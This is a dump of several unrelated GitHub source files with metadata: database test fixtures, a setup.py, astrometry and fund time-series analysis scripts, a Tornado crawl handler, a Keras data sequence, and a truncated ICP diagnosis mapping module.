"usage_type": "call"}, {"api_name": "django.forms.widgets.TextInput", "line_number": 21, "usage_type": "call"}, {"api_name": "django_filters.CharFilter", "line_number": 24, "usage_type": "call"}, {"api_name": "django.forms.widgets.TextInput", "line_number": 28, "usage_type": "call"}, {"api_name": "django_filters.MultipleChoiceFilter", "line_number": 31, "usage_type": "call"}, {"api_name": "django.forms.widgets.CheckboxSelectMultiple", "line_number": 35, "usage_type": "call"}, {"api_name": "models.Post", "line_number": 38, "usage_type": "name"}]}
{"seq_id": "72512031590", "text": "# sets up database for tests\n\nimport pytest\nimport testing.postgresql\n\nfrom sqlalchemy import create_engine, text\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy_sqlschema import maintain_schema\n\n# test data and formatting functions\nfrom sample_data import WAT1, WAT2, WAT3, BAS1, make_region\nfrom sample_data import CHUM, PNKO, PNKE, make_taxon\nfrom sample_data import CUC1, CUC2, CUPO, CUPE, make_cu, make_population\n\n# import salmon_occurrence\nfrom salmon_occurrence import salmon_db, Region\n\n\n# create database\n@pytest.fixture()\ndef db_uri():\n    with testing.postgresql.Postgresql() as pg:\n        yield pg.url()\n\n\n# initialize database with postgis and sqlalchemy\n@pytest.fixture()\ndef db_engine(db_uri):\n    engine = create_engine(db_uri)\n\n    connection = engine.connect()\n    connection.execute(text(\"CREATE EXTENSION postgis;\"))\n    connection.execute(text(\"CREATE SCHEMA IF NOT EXISTS salmon_geometry;\"))\n    connection.execute(text(\"GRANT CREATE ON SCHEMA salmon_geometry TO postgres\"))\n    connection.execute(text(\"SET search_path TO salmon_geometry, public;\"))\n    salmon_db.Base.metadata.create_all(bind=connection)\n    connection.commit()\n    connection.close()\n\n    yield engine\n\n\n# add some sample data to database\n@pytest.fixture()\ndef db_populated_session(db_engine):\n    session = sessionmaker(bind=db_engine)()\n    with maintain_schema(\"salmon_geometry, public\", session):\n        # add regions\n        session.add(make_region(**WAT1))\n        session.add(make_region(**WAT2))\n        session.add(make_region(**WAT3))\n        session.add(make_region(**BAS1))\n\n        # add salmon taxons\n        chum = make_taxon(**CHUM)\n        pink_even = make_taxon(**PNKE)\n        pink_odd = make_taxon(**PNKO)\n\n        session.add(chum)\n        session.add(pink_even)\n        session.add(pink_odd)\n\n        # add conservation units\n        cuc1 = make_cu(**CUC1)\n        cuc2 = make_cu(**CUC2)\n        cupo = make_cu(**CUPO)\n        cupe = make_cu(**CUPE)\n\n        session.add(cuc1)\n        session.add(cuc2)\n        session.add(cupo)\n        session.add(cupe)\n\n        # commit conservation units and taxons so we can assign them to populations.\n        session.commit()\n\n        # add populations, each of which is a link between a taxon\n        # and a conservation unit\n        # note that for verification purposes, the populations created\n        # here must match the verification objects in sample_data.py\n        session.add(make_population(chum, cuc1))\n        session.add(make_population(chum, cuc2))\n        session.add(make_population(pink_odd, cupo))\n        session.add(make_population(pink_even, cupe))\n\n    session.commit()\n    yield session\n    session.close()\n\n\n# get a database session for testing, reset changes afterwards\n@pytest.fixture()\ndef populated_db_session(db_populated_engine):\n    session = sessionmaker(bind=db_populated_engine)\n    yield session\n    session.rollback()\n    session.close()\n", "repo_name": "pacificclimate/scip-backend", "sub_path": "tests/conftest.py", "file_name": "conftest.py", "file_ext": "py", "file_size_in_byte": 2942, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "testing.postgresql.postgresql.Postgresql", "line_number": 22, "usage_type": "call"}, {"api_name": "testing.postgresql.postgresql", "line_number": 22, "usage_type": "attribute"}, {"api_name": "testing.postgresql", "line_number": 22, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 20, "usage_type": "call"}, {"api_name": "sqlalchemy.create_engine", "line_number": 29, "usage_type": "call"}, {"api_name": "sqlalchemy.text", "line_number": 32, "usage_type": "call"}, {"api_name": "sqlalchemy.text", "line_number": 33, "usage_type": "call"}, {"api_name": "sqlalchemy.text", "line_number": 34, "usage_type": "call"}, {"api_name": "sqlalchemy.text", "line_number": 35, "usage_type": "call"}, {"api_name": "salmon_occurrence.salmon_db.Base.metadata.create_all", "line_number": 36, "usage_type": "call"}, {"api_name": "salmon_occurrence.salmon_db.Base", "line_number": 36, "usage_type": "attribute"}, {"api_name": "salmon_occurrence.salmon_db", "line_number": 36, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 27, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.sessionmaker", "line_number": 46, "usage_type": "call"}, {"api_name": "sqlalchemy_sqlschema.maintain_schema", "line_number": 47, "usage_type": "call"}, {"api_name": "sample_data.make_region", "line_number": 49, "usage_type": "call"}, {"api_name": "sample_data.WAT1", "line_number": 49, "usage_type": "name"}, {"api_name": "sample_data.make_region", "line_number": 50, "usage_type": "call"}, {"api_name": "sample_data.WAT2", "line_number": 50, "usage_type": "name"}, {"api_name": "sample_data.make_region", "line_number": 51, "usage_type": "call"}, {"api_name": "sample_data.WAT3", "line_number": 51, "usage_type": "name"}, {"api_name": "sample_data.make_region", "line_number": 52, "usage_type": "call"}, {"api_name": "sample_data.BAS1", "line_number": 52, "usage_type": "name"}, {"api_name": "sample_data.make_taxon", "line_number": 55, "usage_type": "call"}, {"api_name": "sample_data.CHUM", "line_number": 55, "usage_type": "name"}, {"api_name": "sample_data.make_taxon", "line_number": 56, "usage_type": "call"}, {"api_name": "sample_data.PNKE", "line_number": 56, "usage_type": "name"}, {"api_name": "sample_data.make_taxon", "line_number": 57, "usage_type": "call"}, {"api_name": "sample_data.PNKO", "line_number": 57, "usage_type": "name"}, {"api_name": "sample_data.make_cu", "line_number": 64, "usage_type": "call"}, {"api_name": "sample_data.CUC1", "line_number": 64, "usage_type": "name"}, {"api_name": "sample_data.make_cu", "line_number": 65, "usage_type": "call"}, {"api_name": "sample_data.CUC2", "line_number": 65, "usage_type": "name"}, {"api_name": "sample_data.make_cu", "line_number": 66, "usage_type": "call"}, {"api_name": "sample_data.CUPO", "line_number": 66, "usage_type": "name"}, {"api_name": "sample_data.make_cu", "line_number": 67, "usage_type": "call"}, {"api_name": "sample_data.CUPE", "line_number": 67, "usage_type": "name"}, {"api_name": "sample_data.make_population", "line_number": 81, "usage_type": "call"}, {"api_name": "sample_data.make_population", "line_number": 82, "usage_type": "call"}, {"api_name": "sample_data.make_population", "line_number": 83, "usage_type": "call"}, {"api_name": "sample_data.make_population", "line_number": 84, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 44, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.sessionmaker", "line_number": 94, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 92, "usage_type": "call"}]}
{"seq_id": "33170835652", "text": "#! /usr/bin/env python3\n\nimport os\nfrom setuptools import setup\n\ndef read(fname):\n    return open(os.path.join(os.path.dirname(__file__), fname)).read()\n\nsetup(\n    name = \"BrownBat\",\n    version = \"0.0b2\",\n    author = \"Douglas RAILLARD\",\n    author_email = \"public.douglas.raillard@gmail.com\",\n    description = \"A lazy source code generation library\",\n    long_description=read('README.rst'),\n    license = \"GNU Lesser General Public License v3 or later (LGPLv3+)\",\n    keywords = \"source generation lazy code meta\",\n    url = \"https://github.com/DouglasRaillard/BrownBat\",\n    packages = ['brownbat'],\n    classifiers=[\n        \"Operating System :: OS Independent\",\n        \"Development Status :: 4 - Beta\",\n        \"Intended Audience :: Developers\",\n        \"License :: OSI Approved :: GNU Lesser General Public License v3 or later (LGPLv3+)\",\n        \"Programming Language :: Python :: 3 :: Only\",\n        \"Topic :: Software Development :: Code Generators\",\n    ],\n)\n", "repo_name": "DouglasRaillard/BrownBat", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 973, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.join", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path", "line_number": 7, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 7, "usage_type": "call"}, {"api_name": "setuptools.setup", "line_number": 9, "usage_type": "call"}]}
{"seq_id": "32699235705", "text": "#does a bunch of pandas\n\nimport pandas as pd\nimport numpy as np\nfrom astropy.coordinates import SkyCoord\nfrom astropy import units as u\n\ndef astrometry_table(data):\n   #\n\tmissing_dist = 0\n\tastrometry = pd.DataFrame(columns=['Object',\n\t\t\t\t\t\t\t\t\t   'Category',\n\t\t\t\t\t\t\t\t\t   'Spectral_class',\n\t\t\t\t\t\t\t\t\t   'magnitudes',\n\t                                   'Distance_pc', \n\t                                   'Distance_kpc',\n\t                                   'Distance_ly', \n\t                                   'RA_J2000', \n\t                                   'DEC_J2000', \n\t                                   'RA_J2000_Deci', \n\t                                   'DEC_J2000_Deci',\n\t                                   'Galactic longitude', \n\t                                   'Galactic latitude']) #empty pandas array\n\n\tfor index, row in data.iterrows():\n\t    dist_pc_str = row['Distance_pc']\n\t    if (isinstance(dist_pc_str, float)): #the nan got treated as a float\n\t        #print(str(row['Object']) + \": \" + str(dist_pc_str) + \" parsecs\")\n\t        \n\t        #degree minute seconds -> degree decimal\n\t        #print(\"Right Ascension: \" + str(row['RA_J2000']) + \" In degree minute seconds\")\n\t        #print(\"Declination: \" + str(row['DEC_J2000']) + \" In degree minute seconds\")\n\t        #print(\"-\")\n\t        \n\t        #practice mirror\n\t        #print(str(row['RA_J2000'][0:2]) + str(row['RA_J2000'][3:5]) + str(row['RA_J2000'][6:11]))#be careful here\n\t        #print(str(row['DEC_J2000'][1:3]) + str(row['DEC_J2000'][4:6]) + str(row['DEC_J2000'][7:12]))#be careful here\n\t        \n\t        RA_Deci = float(row['RA_J2000'][0:2]) + float(row['RA_J2000'][3:5])/60 + float(row['RA_J2000'][6:11])/3600\n\t        Dec_Deci = float(row['DEC_J2000'][1:3]) + float(row['DEC_J2000'][4:6])/60 + float(row['DEC_J2000'][7:12])/3600\n\t        \n\t        if(row['DEC_J2000'][0] == '-'):\n\t            Dec_Deci *= -1\n\t        \n\t        #print(\"Right Ascension: \" + str(RA_Deci) + \" In degree decimal\")\n\t        #print(\"Declination: \" + str(Dec_Deci) + \" In degree decimal\")\n\t        \n\t        #convert to galactic coordinates\n\t        #declination has a sign\n\t        \n\t        c_icrs = SkyCoord(ra=RA_Deci*u.degree, dec=Dec_Deci*u.degree, frame='icrs')\n\t        #print(\"\\nGalactic Coordinates:\")\n\t        #print(c_icrs.galactic.l)\n\t        #print(c_icrs.galactic.b)\n\n\t        #print(\"\\n\")\n\t        astrometry = astrometry.append({'Object': str(row['Object']),\n\t        \t\t\t\t\t\t\t    'Category': row['Category'],\n\t\t\t\t\t\t\t\t\t        'Spectral_class': row['Spec_Type'] ,\n\t\t\t\t\t\t\t\t\t        'magnitudes': row['R_band_mag'],\n\t                                        'Distance_pc': float(dist_pc_str), \n\t                                        'Distance_kpc': (float(dist_pc_str)*u.parsec).to(u.kpc),\n\t                                        'Distance_ly': (float(dist_pc_str)*u.parsec).to(u.lightyear), \n\t                                        'RA_J2000': str(row['RA_J2000']),\n\t                                        'DEC_J2000': str(row['DEC_J2000']), \n\t                                        'RA_J2000_Deci': float(RA_Deci), \n\t                                        'DEC_J2000_Deci': float(Dec_Deci),\n\t                                        'Galactic longitude': c_icrs.galactic.l, \n\t                                        'Galactic latitude': c_icrs.galactic.b}, ignore_index=True)\n\t    else:\n\t        missing_dist+=1\n\n\treturn(astrometry)\n\ndef plot_astrometry(astrometry):\n\t#load sky coordinates\n\tc = SkyCoord(astrometry['Galactic longitude'], astrometry['Galactic latitude'], frame='galactic')\n\n\tl_rad = c.l.radian\n\tl_rad[l_rad > np.pi] -= 2. * np.pi\n\tb_rad = c.b.radian\n\n\treturn(c, l_rad, b_rad)\n\ndef cat_mag_diam(data):\n\tsorted_objects = data.sort_values(by ='Disk_Major_Axis')\n\n\tmagnitudes = []\n\tmissing_mag = 0\n\n\tcat_magnitude_diameter = pd.DataFrame(columns=['Object', \n\t                                                'R_band_mag',\n\t                                                'Disk_Major_Axis'])\n\n\tfor index, row in sorted_objects.iterrows():\n\t    r_band_mag_str = row['R_band_mag']\n\t    if (isinstance(r_band_mag_str, float)): #the nan got treated as a float\n\t        missing_mag+=1\n\t    else:\n\t        if(r_band_mag_str != '-'):\n\t            cat_magnitude_diameter = cat_magnitude_diameter.append({'Object': str(row['Object']), \n\t                                                    'R_band_mag': float(r_band_mag_str), \n\t                                                    'Disk_Major_Axis': float(row['Disk_Major_Axis'])},\n\t                                                    ignore_index=True)\n\t        else:\n\t             missing_mag+=1\n\n\treturn(cat_magnitude_diameter)", "repo_name": "coderXmachina2/protostellar_disk_visualization", "sub_path": "functions/sort_functions_astrometry.py", "file_name": "sort_functions_astrometry.py", "file_ext": "py", "file_size_in_byte": 4660, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pandas.DataFrame", "line_number": 11, "usage_type": "call"}, {"api_name": "astropy.coordinates.SkyCoord", "line_number": 51, "usage_type": "call"}, {"api_name": "astropy.units.degree", "line_number": 51, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 51, "usage_type": "name"}, {"api_name": "astropy.units.parsec", "line_number": 62, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 62, "usage_type": "name"}, {"api_name": "astropy.units.kpc", "line_number": 62, "usage_type": "attribute"}, {"api_name": "astropy.units.parsec", "line_number": 63, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 63, "usage_type": "name"}, {"api_name": "astropy.units.lightyear", "line_number": 63, "usage_type": "attribute"}, {"api_name": "astropy.coordinates.SkyCoord", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 80, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 91, "usage_type": "call"}]}
{"seq_id": "3319615231", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu May 19 10:15:19 2022\r\n\r\n@author: lenovo\r\n\"\"\"\r\n\r\nimport pandas as pd\r\nfrom arch import arch_model, univariate\r\nimport datetime as dt\r\nimport numpy as np\r\nimport math\r\nimport time\r\nfrom arch.unitroot import ADF\r\nfrom statsmodels.tsa import stattools  # 白噪声检验:Ljung-Box检验\r\nfrom statsmodels.tsa.arima.model import ARIMA #导入ARIMA模型\r\nfrom rpy2.robjects import r\r\nfrom rpy2.robjects.packages import importr\r\nfrom rpy2.robjects import pandas2ri\r\nfrom collections import defaultdict\r\npandas2ri.activate()\r\nfrom rpy2.robjects import globalenv\r\nimportr(\"rugarch\")\r\n\r\n# 数据预处理\r\ndef data_process(n, fund, index, rel):\r\n    pos = list(fund.iloc[1, :].values).index(n)\r\n    fund_value = fund.iloc[3:245, pos].to_frame()\r\n    index_name = rel[rel['证券名称'] == n]['主要跟踪标的代码\\n第1名'].values\r\n    pos1 = list(index.iloc[0, :].values).index(index_name)\r\n    index_value = index.iloc[3:304, pos1].to_frame()\r\n    fund_value.columns = ['基金收盘价']\r\n    index_value.columns = ['基准收盘价']\r\n    data = fund_value.join(index_value, how='inner')\r\n    data['基金收盘价的log'] = data['基金收盘价'].astype('float').apply(np.log)\r\n    data['基准收盘价的log'] = data['基准收盘价'].astype('float').apply(np.log)\r\n    data['基金收益率'] = data['基金收盘价的log'].diff() * 100\r\n    data['基准收益率'] = data['基准收盘价的log'].diff() * 100\r\n    return data.iloc[1:,-2:]\r\n\r\n# 数据时间序列检验\r\ndef check(data):\r\n    adf_fund = ADF(data['基金收益率'])\r\n    adf_index = ADF(data['基准收益率'])\r\n    if adf_fund.pvalue < 0.1 and adf_index.pvalue < 0.1:\r\n        LjungBox_fund = stattools.q_stat(stattools.acf(data['基金收益率']), len(data['基金收益率']))[1][-1]  # 显示第一个到第11个白噪声检验的p值\r\n        LjungBox_index = stattools.q_stat(stattools.acf(data['基准收益率']), len(data['基准收益率']))[1][-1]  # 显示第一个到第11个白噪声检验的p值\r\n        if LjungBox_fund < 0.1 and LjungBox_index < 0.1:\r\n            model = arch_model(y=data['基金收益率'], x=data['基准收益率'], mean='LS')  # 白噪声检验通过，直接确定模型\r\n            result = model.fit()\r\n            resid1 = result.resid  # 提取残差\r\n            LjungBox1 = stattools.q_stat(stattools.acf(resid1 ** 2), len(resid1))[1][-1]  # 残差平方序列的白噪声检验\r\n            if LjungBox1 < 0.1:# 拒绝原假设，则残差序列具有ARCH效应\r\n                return 1,1\r\n            else:\r\n                return 1,0\r\n    return 0,0\r\n\r\nif __name__ == \"__main__\":\r\n    name = pd.read_excel('../Data/fund_name.xlsx')\r\n    fund_name = name['基金名称'].values\r\n    fund = pd.read_excel('../Data/基金净值.xlsx')\r\n    index = pd.read_excel('../Data/指数净值.xlsx')\r\n    rel = pd.read_excel('../Data/基金-指数对应关系.xlsx')\r\n    date = ['2022-08-09'] #'2021-12-31','2021-09-30','2022-03-31','2022-06-30',\r\n    results_piaoyi = defaultdict(list)\r\n    for n in fund_name:\r\n        data = data_process(n, fund, index, rel)\r\n        start = 0\r\n        for d in date:\r\n            datetime = list(data.index)\r\n            time_stamp = np.datetime64(d)\r\n            pos = datetime.index(time_stamp)\r\n            new_data = data.iloc[start:pos+1,]\r\n            start = pos+1\r\n            ADF_flag, ARCH_flag = check(new_data)\r\n            if ADF_flag == 1:\r\n                if ARCH_flag == 0:\r\n                    arx = univariate.ARX(y=new_data['基金收益率'], x=new_data['基准收益率'], lags=[1])\r\n                    res = arx.fit()\r\n                    if res._params[1] < 0:\r\n                        results_piaoyi[d].append([n, res._params[1], np.nan, '是'])\r\n                    else:\r\n                        results_piaoyi[d].append([n, res._params[1], np.nan, '否'])\r\n                else:\r\n                    am1 = arch_model(y=new_data['基准收益率'])\r\n                    res1 = am1.fit(update_freq=5)\r\n                    v = res1.conditional_volatility\r\n                    data1 = pd.concat([new_data, v], axis=1)\r\n                    data1.columns = ['fund', 'index', 'var']\r\n                    data1.index = list(data1.index)\r\n                    y = pandas2ri.py2rpy(data1)\r\n                    globalenv['y'] = y\r\n                    rscript = \"\"\"\r\n                            myspec<-ugarchspec(variance.model = list(model=\"eGARCH\",garchOrder=c(1,1),submodel=NULL,\r\n                                                                    external.regressors=matrix(y$var),variance.targeting=FALSE),\r\n                                              mean.model =list(armaOrder = c(1,0), include.mean=TRUE,archm=TRUE,archpow=1,\r\n                                                               arfima=FALSE,external.regressors=matrix(y$index),archex=FALSE))\r\n                            myfit<-ugarchfit(myspec,data=y$fund)\r\n                            xishu<-coef(myfit)\r\n                            \"\"\"#\r\n                    results = r(rscript)\r\n                    if results[3] > 0 and results[-1] > 0:\r\n                        results_piaoyi[d].append([n, results[3], results[-1], '否'])\r\n                    else:\r\n                        results_piaoyi[d].append([n, results[3], results[-1], '是'])\r\n    writer = pd.ExcelWriter('../result/timeseries.xlsx')\r\n    for d in date:\r\n        result = pd.DataFrame(results_piaoyi[d], columns=['基金名称', '收益率维度', '风险维度', '是否漂移'])\r\n        result.to_excel(excel_writer=writer, sheet_name=d)\r\n    writer.save()\r\n    writer.close()", "repo_name": "Steve-Selite/THU_Byte", "sub_path": "Model/时间序列分析.py", "file_name": "时间序列分析.py", "file_ext": "py", "file_size_in_byte": 5637, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "rpy2.robjects.pandas2ri.activate", "line_number": 21, "usage_type": "call"}, {"api_name": "rpy2.robjects.pandas2ri", "line_number": 21, "usage_type": "name"}, {"api_name": "rpy2.robjects.packages.importr", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 35, "usage_type": "attribute"}, {"api_name": "numpy.log", "line_number": 36, "usage_type": "attribute"}, {"api_name": "arch.unitroot.ADF", "line_number": 43, "usage_type": "call"}, {"api_name": "arch.unitroot.ADF", "line_number": 44, "usage_type": "call"}, {"api_name": "statsmodels.tsa.stattools.q_stat", "line_number": 46, "usage_type": "call"}, {"api_name": "statsmodels.tsa.stattools", "line_number": 46, "usage_type": "name"}, {"api_name": "statsmodels.tsa.stattools.acf", "line_number": 46, "usage_type": "call"}, {"api_name": "statsmodels.tsa.stattools.q_stat", "line_number": 47, "usage_type": "call"}, {"api_name": "statsmodels.tsa.stattools", "line_number": 47, "usage_type": "name"}, {"api_name": "statsmodels.tsa.stattools.acf", "line_number": 47, "usage_type": "call"}, {"api_name": "arch.arch_model", "line_number": 49, "usage_type": "call"}, {"api_name": "statsmodels.tsa.stattools.q_stat", "line_number": 52, "usage_type": "call"}, {"api_name": "statsmodels.tsa.stattools", "line_number": 52, "usage_type": "name"}, {"api_name": "statsmodels.tsa.stattools.acf", "line_number": 52, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 60, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 62, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 63, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 64, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.datetime64", "line_number": 72, "usage_type": "call"}, {"api_name": "datetime.index", "line_number": 73, "usage_type": "call"}, {"api_name": "arch.univariate.ARX", "line_number": 79, "usage_type": "call"}, {"api_name": "arch.univariate", "line_number": 79, "usage_type": "name"}, {"api_name": "numpy.nan", "line_number": 82, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 84, "usage_type": "attribute"}, {"api_name": "arch.arch_model", "line_number": 86, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 89, "usage_type": "call"}, {"api_name": "rpy2.robjects.pandas2ri.py2rpy", "line_number": 92, "usage_type": "call"}, {"api_name": "rpy2.robjects.pandas2ri", "line_number": 92, "usage_type": "name"}, {"api_name": "rpy2.robjects.globalenv", "line_number": 93, "usage_type": "name"}, {"api_name": "rpy2.robjects.r", "line_number": 102, "usage_type": "call"}, {"api_name": "pandas.ExcelWriter", "line_number": 107, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 109, "usage_type": "call"}]}
{"seq_id": "11626900035", "text": "import json\nfrom tornado.web import RequestHandler, HTTPError, gen\nimport logging\nimport app.settings as st\nfrom os_tornado.decorators.json_response import jsonify\nimport tornado\nfrom urllib import unquote\nfrom app.common.sender import UrlSender\nimport time\n\n\n_logger = logging.getLogger('CrawlHandler')\n\n@jsonify\nclass CrawlHandler(RequestHandler):\n\n\n    def initialize(self, **kwargs):\n        self._redis_extension = self.application.manager.get_extension('SchedulerRedisConn')\n        self._batch_id = st.BATCH_ID\n        if not self._batch_id:\n            _logger.error('Batch_id is not configured!')\n            raise NameError('no batch_id!')\n        self._master_server = st.MASTER_SERVER\n        self._meta = kwargs['master_meta']\n        self._priority = kwargs['priority']\n        self._send_status_redis = st.SEND_STATUS_REDIS\n\n    @tornado.web.asynchronous\n    @gen.coroutine\n    def post(self, *args, **kwargs):\n        conn = self._redis_extension.get_conn()\n        source_url = self.get_argument('seed_url', '')\n        url = unquote(source_url)\n        priority = self.get_argument('priority', self._priority)\n        batch_id = self.get_argument('batch_id', self._batch_id)\n        self._meta['batch_id'] = batch_id\n        meta = json.loads(self.get_argument('meta', json.dumps(self._meta)))\n        meta['send_time'] = time.time()\n        meta['source_url'] = source_url\n        meta['batch_id'] = batch_id\n        if not url:\n            raise HTTPError(404, reason='invalid url!')\n        if not batch_id:\n            raise HTTPError(404, reason='invalid batch_id!')\n        if 'send_status_redis' not in meta.keys():\n            meta['send_status_redis'] = st.SEND_STATUS_REDIS\n        sender = UrlSender(conn, batch_id, self._master_server)\n        ret = yield sender.send_url_to_master(url=url, meta=meta, priority=priority)\n        if not str(ret) == '0':\n            _logger.error('Fail to send url to spider: <%s>' % source_url)\n            self.write({'error': 'fail to send url to spider!'})\n            self.finish()\n            return\n        else:\n            _logger.info('success send to master <%s> [%s] [%s] ' % (url, str(meta), str(priority)))\n            status = {'url': url, 'status': 'crawling'}\n            try:\n                self.write(status)\n                self.finish()\n            except Exception as e:\n                _logger.error(e.message)\n", "repo_name": "comeonweina/crawler_portal", "sub_path": "crawler_portal/app/request_handlers/crawl_handler.py", "file_name": "crawl_handler.py", "file_ext": "py", "file_size_in_byte": 2397, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 12, "usage_type": "call"}, {"api_name": "tornado.web.RequestHandler", "line_number": 15, "usage_type": "name"}, {"api_name": "app.settings.BATCH_ID", "line_number": 20, "usage_type": "attribute"}, {"api_name": "app.settings", "line_number": 20, "usage_type": "name"}, {"api_name": "app.settings.MASTER_SERVER", "line_number": 24, "usage_type": "attribute"}, {"api_name": "app.settings", "line_number": 24, "usage_type": "name"}, {"api_name": "app.settings.SEND_STATUS_REDIS", "line_number": 27, "usage_type": "attribute"}, {"api_name": "app.settings", "line_number": 27, "usage_type": "name"}, {"api_name": "urllib.unquote", "line_number": 34, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 38, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 38, "usage_type": "call"}, {"api_name": "time.time", "line_number": 39, "usage_type": "call"}, {"api_name": "tornado.web.HTTPError", "line_number": 43, "usage_type": "call"}, {"api_name": "tornado.web.HTTPError", "line_number": 45, "usage_type": "call"}, {"api_name": "app.settings.SEND_STATUS_REDIS", "line_number": 47, "usage_type": "attribute"}, {"api_name": "app.settings", "line_number": 47, "usage_type": "name"}, {"api_name": "app.common.sender.UrlSender", "line_number": 48, "usage_type": "call"}, {"api_name": "tornado.web", "line_number": 29, "usage_type": "attribute"}, {"api_name": "tornado.web.gen.coroutine", "line_number": 30, "usage_type": "attribute"}, {"api_name": "tornado.web.gen", "line_number": 30, "usage_type": "name"}, {"api_name": "os_tornado.decorators.json_response.jsonify", "line_number": 14, "usage_type": "name"}]}
{"seq_id": "36343623587", "text": "import keras\nimport math\nimport numpy as np\n\nfrom typing import List, Callable, Dict, Tuple, Optional, Collection\n\n\nclass DataSequence(keras.utils.Sequence):\n    x: List\n    batch_size: int\n    length: int\n    shuffle: bool\n    keep_remainder: bool\n    map_fn: Callable\n    batches: List[Tuple[int, int]]\n    indices: np.ndarray\n\n    def __init__(self,\n                 x: Collection,\n                 batch_size: int = 32,\n                 shuffle: bool = True,\n                 map_fn: Optional[Callable] = None,\n                 keep_remainder: bool = True) -> None:\n        assert isinstance(batch_size, int) and batch_size > 0\n        self.batch_size = batch_size\n        self.shuffle = bool(shuffle)\n        self.keep_remainder = bool(keep_remainder)\n        data_length = len(x)  # Implicitly check that x has length\n        self.x = list(x)\n        # self.map_fn = (lambda inputs, labels: (inputs, labels)) if map_fn is None else map_fn\n        self.map_fn = map_fn\n        assert callable(self.map_fn)\n        if self.keep_remainder:\n            self.length = math.ceil(data_length / batch_size)\n        else:\n            self.length = math.floor(data_length / batch_size)\n        assert self.length > 0  # There are some batches to iterate through\n\n        self.batches = [(i * batch_size, min(data_length, (i + 1) * batch_size)) for i in range(self.length)]\n        self.indices = np.arange(data_length)\n        if self.shuffle:\n            np.random.shuffle(self.indices)\n\n    def __getitem__(self, index: int):\n        batch_start, batch_end = self.batches[index]\n        batch_indices = self.indices[batch_start:batch_end]\n        return self.map_fn([self.x[i] for i in batch_indices])\n\n    def __len__(self):\n        return self.length\n\n    def on_epoch_end(self):\n        if self.shuffle:\n            np.random.shuffle(self.indices)\n", "repo_name": "willsaak/vrd-kaggle", "sub_path": "data/data_sequence.py", "file_name": "data_sequence.py", "file_ext": "py", "file_size_in_byte": 1849, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "keras.utils", "line_number": 8, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 9, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 14, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 15, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 15, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 16, "usage_type": "attribute"}, {"api_name": "typing.Collection", "line_number": 19, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 22, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 22, "usage_type": "name"}, {"api_name": "math.ceil", "line_number": 34, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 42, "usage_type": "attribute"}, {"api_name": "numpy.random.shuffle", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 54, "usage_type": "attribute"}]}
{"seq_id": "35708379905", "text": "\"\"\"Contains functions which provide corresponding name and remedy of ICP numbers.\"\"\"\nfrom collections import namedtuple\nfrom importlib.resources import files\nfrom pathlib import PurePath\nfrom functools import lru_cache\nimport csv\nfrom edcon.utils.logging import Logging\n\n\n@lru_cache\ndef read_icp_map_file(icp_map_file: str = None):\n    \"\"\"Creates a dict based on a provided ICP name map file\n\n    Parameters:\n        icp_map_file (str): Optional file to use for mapping. \n                                 If nothing provided try to load mapping shipped with package.\n    Returns:\n        dict: With the first column values as keys and namedtuple values\n    \"\"\"\n    if not icp_map_file:\n        icp_map_file = PurePath(files('edcon') / 'edrive' / 'data' / 'icp_map.csv')\n\n    with open(icp_map_file, encoding='utf-8') as csvfile:\n        reader = csv.reader(csvfile, delimiter=';')\n        # Define a namedtuple where the header row determines the field names\n        icp_item = namedtuple('icp_item', next(reader, None))\n        # Create a dict where the first column determines the key\n        icp_name_dict = {int(row[0]): icp_item(*row) for row in reader}\n    return icp_name_dict\n\n\ndef diagnosis_name(icp_number: int, icp_map_file: str 